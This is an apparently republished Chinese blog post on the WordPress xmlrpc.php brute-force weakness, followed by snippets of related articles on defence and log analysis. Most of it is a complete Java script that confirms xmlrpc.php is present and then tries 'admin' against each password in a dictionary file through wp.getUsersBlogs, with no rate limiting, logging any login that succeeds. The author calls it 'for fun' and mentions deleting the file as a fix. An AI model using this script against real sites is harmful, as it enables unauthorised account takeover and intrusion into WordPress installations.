Wordpress xmlrpc.php暴力破解漏洞

Wordpress xmlrpc.php暴力破解漏洞

wordpress是很流行的开源博客,它提供远程发布文章的方法,就是使用跟路径的xmlrpc.php这个文件,最近爆出xmlrpc漏洞,漏洞原理是通过xmlrpc进行认证,即使认证失败,也不会被Wordpress安装的安全插件记录,所以不会触发密码输错N次被锁定的情况。因此就可能被暴力破解,如果密码又是弱口令的话,就相当危险了。最简单的解决办法,就是删除xmlrpc.php这个文件。闲来无事,用java写了暴力破解的脚本,其实就是拿着各种用户名、密码去不断调用xmlrpc.phpp这个文件,检测认证结果,很简单。只为娱乐,暴力破解的事情,大家慎重。

Xmlrpc.java源码如下:

    package com.yeetrack.security.wordpress;

    import org.apache.http.client.ClientProtocolException;
    import org.apache.http.client.config.RequestConfig;
    import org.apache.http.client.methods.CloseableHttpResponse;
    import org.apache.http.client.methods.HttpGet;
    import org.apache.http.client.methods.HttpPost;
    import org.apache.http.entity.StringEntity;
    import org.apache.http.impl.client.CloseableHttpClient;
    import org.apache.http.impl.client.HttpClients;
    import org.apache.http.util.EntityUtils;
    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    import org.testng.annotations.Test;

    import java.io.*;

    /**
     * Created by victor wang on 2014/8/2.
     * 利用wordpress xmlrpc漏洞,暴力破解密码
     */
    public class Xmlrpc
    {
        private String userAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0";
        RequestConfig requestConfig = RequestConfig.custom().setConnectionRequestTimeout(4000).setConnectTimeout(4000)
                .setSocketTimeout(4000).build();
        private static Logger logger = LoggerFactory.getLogger(Xmlrpc.class);
        private CloseableHttpClient httpClient = HttpClients.custom()
                .setUserAgent(userAgent)
                .setDefaultRequestConfig(requestConfig)
                .build();

        /**
         * 校验域名是否存在xmlrpc.php这个文件
         */
        private boolean checkXmlRpcFile(String domain)
        {
            domain = wrapperUrl(domain);
            if(domain==null)
                return false;
            HttpGet get = new HttpGet("http://"+domain+"/xmlrpc.php");
            get.addHeader("User-Agent", userAgent);
            CloseableHttpResponse response = null;
            String resultString = null;
            try {
                response = httpClient.execute(get);
                if(null == response || response.equals(""))
                    return false;
                resultString = EntityUtils.toString(response.getEntity());
            } catch (IOException e) {
                e.printStackTrace();
            }

            return resultString.contains("XML-RPC server accepts POST requests only.");
        }

        /**
         * 暴力尝试
         */
        private boolean forceLogin(String username, String password, String url)
        {
            //尝试登录
            HttpPost post = new HttpPost("http://"+wrapperUrl(url)+"/xmlrpc.php");
            post.addHeader("User-Agent", userAgent);
            String xmlString = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall>  <methodName>wp.getUsersBlogs</methodName>  <params>   <param><value>"+username+"</value></param>   <param><value>"+password+"</value></param>  </params></methodCall>";
            StringEntity entity = null;
            try {
                entity = new StringEntity(xmlString);
                post.setEntity(entity);
                CloseableHttpResponse response = httpClient.execute(post);
                String loginResult = EntityUtils.toString(response.getEntity());
                if(null== loginResult || loginResult.equals(""))
                    return false;
                if(loginResult.contains("isAdmin")) {
                    logger.info(url + "登录成功,userename--->" + username + "  password--->" + password);
                    return true;
                }
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            } catch (ClientProtocolException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }

            return false;
        }
        /**
         * 净化url,去掉http://或者末尾的path
         */
        private String wrapperUrl(String url)
        {
            if(null == url || url.equals(""))
                return null;
            if(url.startsWith("http://"))
                url = url.substring(7);
            if(url.contains("/"))
                url = url.substring(0, url.indexOf("/"));
            return url;
        }

        /**
         * 破解
         */
        @Test
        public void test()
        {
            String url = "http://somewordpress.com/xmlrpc.php";
            if(!checkXmlRpcFile(url)) {
                logger.info(url+"--->不存在xmlrpc漏洞");
                return;
            }
            File file = new File("src/main/resources/1pass00.txt"); //密码字典,这个网上一堆一堆的,或者自己生成也可

            try {
                FileReader fileReader = new FileReader(file);
                BufferedReader bufferedReader = new BufferedReader(fileReader);
                String line = null;
                int count = 1;
                while ((line = bufferedReader.readLine()) != null) {
                    System.out.println("" + count + "  " + line);
                    if(forceLogin("admin", line, url))
                        break;
                    count++;
                    //Thread.sleep(500);
                }
            } catch (Exception e) { e.printStackTrace(); }

        }
    }

项目使用maven管理,使用了apache的httpclient和log4j,pom.xml代码如下:

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>

        <groupId>com.yeetrack.security</groupId>
        <artifactId>wordpress-xmlrpc</artifactId>
        <version>1.0-SNAPSHOT</version>

继续阅读-->

Wordpress xmlrpc.php暴力破解漏洞,布布扣,bubuko.com

时间: 2024-12-20 00:19:24

Wordpress xmlrpc.php暴力破解漏洞的相关文章

防止WordPress利用xmlrpc.php进行暴力破解以及DDoS

早在2012 年 12 月 17 日一些采用 PHP 的知名博客程序 WordPress被曝光存在严重的漏洞,该漏洞覆盖WordPress 全部已发布的版本(包括WordPress 3.8.1).该漏洞的 WordPress 扫描工具也在很多论坛和网站发布出来.工具可以利用 WordPress 漏洞来进行扫描,也可以发起DDoS 攻击.经过测试,漏洞影响存在 xmlrpc.php 文件的全部版本. 最近我也遇到了大规模的wordpress后台(wp-login.php)爆破,wordpress差

【运维小分享】记个人博客网站受针对xmlrpc.php的暴力破解攻击

起因: 今天忽然打开个人blog,就发现打开很慢,然后出现了下图的反馈:服务器服务不可用!waht?刷新了几次都不行,赶紧登陆服务器后台查看情况. 确认攻击: 登陆后台后通过netstat发现连接数极多,相对于平时来说多了好几倍吧,赶紧通过日志load出疯狂访问的ip # cat 2016-12-16-access_log | awk '{print $1}' | sort | uniq -c | sort -rn | head -n 10   30305 191.96.249.53   290

“上传漏洞”以及“登录页暴力破解”的防御

上传漏洞.登陆页暴力破解的危害性比较大,因为一旦成功,便等于获得了写文件或更改网站配置的权限,从而方便进一步提权, 下面是针对这两种威胁的防范手段: 上传漏洞 ============================================================================================================== * “文件上传漏洞”,包括但不限于 - http请求头MIME欺骗. - 文件名或目录名%00截断上传. - 双文件上

WEB安全第七篇--终结篇考验逻辑思维:逻辑漏洞大汇总(越权、会话逻辑、业务逻辑、暴力破解)

零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘.不是大神.博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限). 一.越权: 1.本质: 某账户拥有了超出它应有权限范围外的操作许可权. 2.分类: (1)水平越权:横向拥有了同等安全等级.密级等衡量标准账户的权限. (2)垂直越权:纵向拥有

如何有效防范暴力破解和敏感信息穷举漏洞

我们浏览网站经常会用到一些验证码,主要目的是防止来自暴力破解或密码穷举等方面的攻击, 但有时候验证码的出现也会影响用户的浏览体验,解决方案之一就是设置一个抛错阀值,当有恶意用户 在尝试暴力破解或穷举的时候输错次数超过阀值,便触发验证码框的弹出,这样既可以阻止攻击者的 恶意行为又可以提高合法用户的浏览体验. 那么trouble来了,我通过什么信息去标识一个用户呢?解决方案有很多种. 对于已注册过的用户 已经注册过的用户肯定有自己的用户ID,而且这个ID是不会变的,那么就可以利用这个ID做全局变量,

Wireshark黑客发现之旅(4)——暴力破解

Wireshark黑客发现之旅(4)——暴力破解 聚锋实验室 · 2015/08/10 10:33 作者:Mr.Right.K0r4dji 申明:文中提到的攻击方式仅为曝光.打击恶意网络攻击行为,切勿模仿,否则后果自负. 一.个人观点 暴力破解,即用暴力穷举的方式大量尝试性地猜破密码.猜破密码一般有3种方式: 1.排列组合式:首先列出密码组合的可能性,如数字.大写字母.小写字母.特殊字符等:按密码长度从1位.2位……逐渐猜试.当然这种方法需要高性能的破解算法和CPU/GPU做支持. 2.字典破解

【初学破解】暴力破解绕过程序认证

最近在学习的时候有缘认识到了破解 为了能够略懂~花了点时间在这个上面做了点简单的破解实验~~ 下面将会介绍在破解程序中非常简单的一种破解方法----暴力破解~~~ 正文: ①编写漏洞程序 首先用c语言写了一个小bug程序 代码如下: #include <stdio.h> #include <windows.h> int main(){ int s=0; scanf("%d",&s); if(s == 8){ printf("注册成功!"

开源服务专题之------ssh防止暴力破解及fail2ban的使用方法

15年出现的JAVA反序列化漏洞,另一个是redis配置不当导致机器入侵.只要redis是用root启动的并且未授权的话,就可以通过set方式直接写入一个authorized_keys到系统的/root/.ssh/目录下实现免密码登陆他人的Linux服务器.从而达到入侵成功的效果.fail2ban是一款很棒的开源服务软件,可以监视你的系统日志,然后匹配日志的错误信息(正则式匹配)执行相应的屏蔽动作(一般情况下是防火墙),而且可以发送e-mail通知系统管理员,很好.很实用.很强大!简单来说其功能

渗透测试之DNS暴力破解fierce教程

1. 介绍 在一个安全的环境中,暴力破解DNS的方式是一种获取不连续IP地址空间主机的有效手段.fierce工具可以满足这样的需求,而且已经预装在Kali Linux中.fierce是RSnake创立的快速有效地DNS暴力破解工具.fierce工具首先域名的IP地址,查询相关的域名服务器,然后利用字典进行攻击. 2. 用法 在Kali Linux中建立一个终端回话,输入下列命名查看帮助: # fierce -h fierce最基本的用法如下,以blog.csdn.net(只做测试,别无它用)为例